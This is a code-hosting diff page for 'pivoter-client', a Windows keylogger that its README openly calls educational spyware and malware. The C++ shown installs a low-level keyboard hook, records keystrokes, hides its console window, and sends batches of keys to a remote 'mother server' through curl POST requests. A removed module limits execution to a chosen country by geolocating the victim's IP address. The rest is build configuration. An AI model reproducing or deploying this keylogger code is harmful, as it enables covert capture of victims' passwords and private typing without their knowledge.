0xdeadbeer/pivoter-client
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Compare commits

base: 0xdeadbeer:f6232b88a5b7bbce237c4a05ad6b4571bb320489
Branches Tags
0xdeadbeer:master
..
compare: 0xdeadbeer:2a80052ffe6ce7308c0601000462c82efef58d79
Branches Tags
0xdeadbeer:master

No commits in common. "f6232b88a5b7bbce237c4a05ad6b4571bb320489" and "2a80052ffe6ce7308c0601000462c82efef58d79" have entirely different histories.
f6232b88a5 ... 2a80052ffe

11 changed files with 283 additions and 24756 deletions
Show Stats Expand all files Collapse all files

62
Pivoter.cpp
View File

@ -9,60 +9,33 @@
#include <Windows.h>
#include <WinUser.h>
#include <vector>
#include <thread>
#include "codes.h"
#include "connections_pivoter.h"
#include "security_checker.h"
#define DEBUG TRUE
#define KEYS_LIMIT 200
#define KEYS_LIMIT 100
HHOOK keyboard_events_hook;
std::vector<std::string> virt_codes;
std::vector<std::string> thread_codes;
ConnectionsPivoter mother_server_pv = ConnectionsPivoter();
DWORD WINAPI send_codes_thread_function(LPVOID keys) {
std::vector<std::string>* keys_ptr = static_cast<std::vector<std::string>*>(keys);
bool res = mother_server_pv.send_codes(*keys_ptr);
if (DEBUG && !res) {
std::cout << "Failed sending to the mother server!" << std::endl;
return 1;
}
return 0;
}
void stack_codes() {
if (virt_codes.size() < KEYS_LIMIT)
return;
thread_codes = virt_codes;
HANDLE thread = CreateThread(NULL, 0, send_codes_thread_function, &thread_codes, 0, NULL);
bool res = mother_server_pv.send_codes(virt_codes);
if (DEBUG && !res)
std::cout << "Failed sending message to the mother server" << std::endl;
virt_codes.clear();
}
LRESULT CALLBACK keyboard_callback(int nCode, WPARAM wParam, LPARAM lParam) {
switch (wParam) {
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
case WM_KEYUP:
case WM_SYSKEYUP:
if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
KBDLLHOOKSTRUCT* kbd_struct = (KBDLLHOOKSTRUCT*)lParam;
DWORD virt_code = kbd_struct->vkCode;
std::string prefix;
switch (wParam) {
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
prefix = "DOWN_";
break;
case WM_KEYUP:
case WM_SYSKEYUP:
prefix = "UP_";
break;
}
std::string string_key_code = prefix + VIRTUAL_KEY_CODE_TABLE[virt_code].name;
std::string string_key_code = VIRTUAL_KEY_CODE_TABLE[virt_code].name;
if (DEBUG) {
std::cout << "Key pressed: " << string_key_code << std::endl;
std::cout << "Len of the vector: " << virt_codes.size() << std::endl;
@ -70,23 +43,13 @@ LRESULT CALLBACK keyboard_callback(int nCode, WPARAM wParam, LPARAM lParam) {
virt_codes.push_back(string_key_code);
stack_codes();
break;
}
return CallNextHookEx(keyboard_events_hook, nCode, wParam, lParam);
}
/*
ARGUMENTS:
- 1: initial mother server ip
- 2: whitelisted country
*/
int main(int argc, char** argv) {
// security Checks
if (!check_country(argv[2]))
return 0;
if (argc != 3) {
int main(int argc, char **argv) {
if (argc != 2) {
std::cout << "Error: wrong use of arguments!" << std::endl;
return 1;
}
@ -94,11 +57,8 @@ int main(int argc, char** argv) {
if (DEBUG)
for (int i = 0; i < argc; i++)
std::cout << "Argument " << i << " value: " << argv[i] << std::endl;
else
ShowWindow(GetConsoleWindow(), SW_HIDE);
mother_server_pv.url = argv[1];
mother_server_pv.allowed_country = argv[2];
mother_server_pv.set_url(argv[1]);
keyboard_events_hook = SetWindowsHookExA(WH_KEYBOARD_LL, keyboard_callback, 0, 0);

31
Pivoter.sln Normal file
View File

@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.4.33122.133
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Pivoter", "Pivoter.vcxproj", "{0DD3FBD7-13EE-47B2-9117-5C6B6DD9FF8E}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{0DD3FBD7-13EE-47B2-9117-5C6B6DD9FF8E}.Debug|x64.ActiveCfg = Debug|x64
{0DD3FBD7-13EE-47B2-9117-5C6B6DD9FF8E}.Debug|x64.Build.0 = Debug|x64
{0DD3FBD7-13EE-47B2-9117-5C6B6DD9FF8E}.Debug|x86.ActiveCfg = Debug|Win32
{0DD3FBD7-13EE-47B2-9117-5C6B6DD9FF8E}.Debug|x86.Build.0 = Debug|Win32
{0DD3FBD7-13EE-47B2-9117-5C6B6DD9FF8E}.Release|x64.ActiveCfg = Release|x64
{0DD3FBD7-13EE-47B2-9117-5C6B6DD9FF8E}.Release|x64.Build.0 = Release|x64
{0DD3FBD7-13EE-47B2-9117-5C6B6DD9FF8E}.Release|x86.ActiveCfg = Release|Win32
{0DD3FBD7-13EE-47B2-9117-5C6B6DD9FF8E}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {0D148B3E-B492-4BE5-BA0E-998AE97A8B1F}
EndGlobalSection
EndGlobal

152
Pivoter.vcxproj Normal file
View File

@ -0,0 +1,152 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{0dd3fbd7-13ee-47b2-9117-5c6b6dd9ff8e}</ProjectGuid>
<RootNamespace>Pivoter</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
<UseOfMfc>Static</UseOfMfc>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<UseOfMfc>Static</UseOfMfc>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
<UseOfMfc>Static</UseOfMfc>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<UseOfMfc>Static</UseOfMfc>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>C:\Users\unknown\source\repos\pivoter-client\curl\include</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>"C:\Users\unknown\source\repos\pivoter-client\curl\lib\libcurl_a.lib"</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>C:\Users\unknown\Downloads\curl-7.87.0-win64-mingw\curl-7.87.0-win64-mingw\include</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>C:\Users\Unknown\Downloads\curl-7.86.0\curl-7.86.0\builds\libcurl-vc16-x64-debug-static-ipv6-sspi-schannel\lib\libcurl_a_debug.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalIncludeDirectories>C:\Users\unknown\source\repos\pivoter-client\curl\include</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>"C:\Users\unknown\source\repos\pivoter-client\curl\lib\libcurl_a.lib"</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="connections_pivoter.cpp" />
<ClCompile Include="Pivoter.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="base64.h" />
<ClInclude Include="codes.h" />
<ClInclude Include="connections_pivoter.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

36
Pivoter.vcxproj.filters Normal file
View File

@ -0,0 +1,36 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="Pivoter.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="connections_pivoter.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="codes.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="connections_pivoter.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="base64.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>

11
README.md
View File

@ -1,10 +1 @@
# Pivoter
Pivoter (Client) is an educational spyware built specifically for Windows devices.
It uses the WinApi to log keystrokes and sends them to the [Pivoter Server](https://github.com/0xdeadbeer/pivoter-server).
Data is encrypted with AES-128, converted to base64, and sent to the Pivoter Server through a webapi (POST requests).
Streams of me developing + testing the malware:
- [Adding AES encryption to my malware | Part 1](https://www.youtube.com/watch?v=AoIqvj5wXkg)
- [Adding AES encryption to my malware | Part 2](https://www.youtube.com/watch?v=jZBjbzq6W2c)
# Pivoter

52
codes.h
View File

@ -356,32 +356,32 @@ VIRTUAL_KEY_CODE VIRTUAL_KEY_CODE_TABLE[256] = {
{ 0, "" },
{ 0, "" },
{ 0, "" },
{ VK_KEY_A, "A" },
{ VK_KEY_B, "B" },
{ VK_KEY_C, "C" },
{ VK_KEY_D, "D" },
{ VK_KEY_E, "E" },
{ VK_KEY_F, "F" },
{ VK_KEY_G, "G" },
{ VK_KEY_H, "H" },
{ VK_KEY_I, "I" },
{ VK_KEY_J, "J" },
{ VK_KEY_K, "K" },
{ VK_KEY_L, "L" },
{ VK_KEY_M, "M" },
{ VK_KEY_N, "N" },
{ VK_KEY_O, "O" },
{ VK_KEY_P, "P" },
{ VK_KEY_Q, "Q" },
{ VK_KEY_R, "R" },
{ VK_KEY_S, "S" },
{ VK_KEY_T, "T" },
{ VK_KEY_U, "U" },
{ VK_KEY_V, "V" },
{ VK_KEY_W, "W" },
{ VK_KEY_X, "X" },
{ VK_KEY_Y, "Y" },
{ VK_KEY_Z, "Z" },
{ VK_KEY_A, "VK_KEY_A" },
{ VK_KEY_B, "VK_KEY_B" },
{ VK_KEY_C, "VK_KEY_C" },
{ VK_KEY_D, "VK_KEY_D" },
{ VK_KEY_E, "VK_KEY_E" },
{ VK_KEY_F, "VK_KEY_F" },
{ VK_KEY_G, "VK_KEY_G" },
{ VK_KEY_H, "VK_KEY_H" },
{ VK_KEY_I, "VK_KEY_I" },
{ VK_KEY_J, "VK_KEY_J" },
{ VK_KEY_K, "VK_KEY_K" },
{ VK_KEY_L, "VK_KEY_L" },
{ VK_KEY_M, "VK_KEY_M" },
{ VK_KEY_N, "VK_KEY_N" },
{ VK_KEY_O, "VK_KEY_O" },
{ VK_KEY_P, "VK_KEY_P" },
{ VK_KEY_Q, "VK_KEY_Q" },
{ VK_KEY_R, "VK_KEY_R" },
{ VK_KEY_S, "VK_KEY_S" },
{ VK_KEY_T, "VK_KEY_T" },
{ VK_KEY_U, "VK_KEY_U" },
{ VK_KEY_V, "VK_KEY_V" },
{ VK_KEY_W, "VK_KEY_W" },
{ VK_KEY_X, "VK_KEY_X" },
{ VK_KEY_Y, "VK_KEY_Y" },
{ VK_KEY_Z, "VK_KEY_Z" },
{ VK_LWIN, "VK_LWIN" },
{ VK_RWIN, "VK_RWIN" },
{ VK_APPS, "VK_APPS" },

27
connections_pivoter.cpp
View File

File diff suppressed because one or more lines are too long

7
connections_pivoter.h
View File

@ -19,12 +19,17 @@
class ConnectionsPivoter {
public:
std::string url;
std::string allowed_country;
CURL* curl;
ConnectionsPivoter(std::string url);
ConnectionsPivoter();
/// <summary>Update the url value</summary>
/// <param name='new_url:'>New url value</param>
void set_url(std::string new_url) {
this->url = new_url;
};
/// <summary>Send an alive signal to the mother server</summary>
/// <returns>TRUE if successful</returns>
BOOL send_alive_signal();

24596
json/json.hpp
View File

File diff suppressed because it is too large Load Diff

56
security_checker.cpp
View File

@ -1,56 +0,0 @@
#define CURL_STATICLIB
#include <iostream>
#include <string>
#include <curl/curl.h>
#include "security_checker.h"
#include "json/json.hpp"
#pragma comment(lib, "Normaliz.lib")
#pragma comment(lib, "Ws2_32.lib")
#pragma comment(lib, "Wldap32.lib")
#pragma comment(lib, "Crypt32.lib")
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "User32.lib")
using json = nlohmann::json;
// GLOBAL CONFIG
CURL* curl;
CURLcode res;
size_t write_function(void* delivered_data, size_t size, size_t nmemb, std::string* user_data) {
user_data->append((char*)delivered_data, size * nmemb);
return size * nmemb;
}
bool check_country(std::string country) {
CURL* curl;
CURLcode res;
curl_global_init(CURL_GLOBAL_ALL);
curl = curl_easy_init();
if (!curl)
return false;
std::string string_response;
curl_easy_setopt(curl, CURLOPT_URL, "http://ip-api.com/json/");
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &string_response);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_function);
res = curl_easy_perform(curl);
if (res != CURLE_OK)
return false;
json json_response = json::parse(string_response);
std::string response_country = json_response["country"];
if (response_country != country)
return false;
curl_easy_cleanup(curl);
curl_global_cleanup();
return true;
}

9
security_checker.h
View File

@ -1,9 +0,0 @@
#ifndef SECURITY_CHECKER_H
#define SECURITY_CHECKER_H
#include <iostream>
#include <string>
bool check_country(std::string country);
#endif SECURITY_CHECKER_H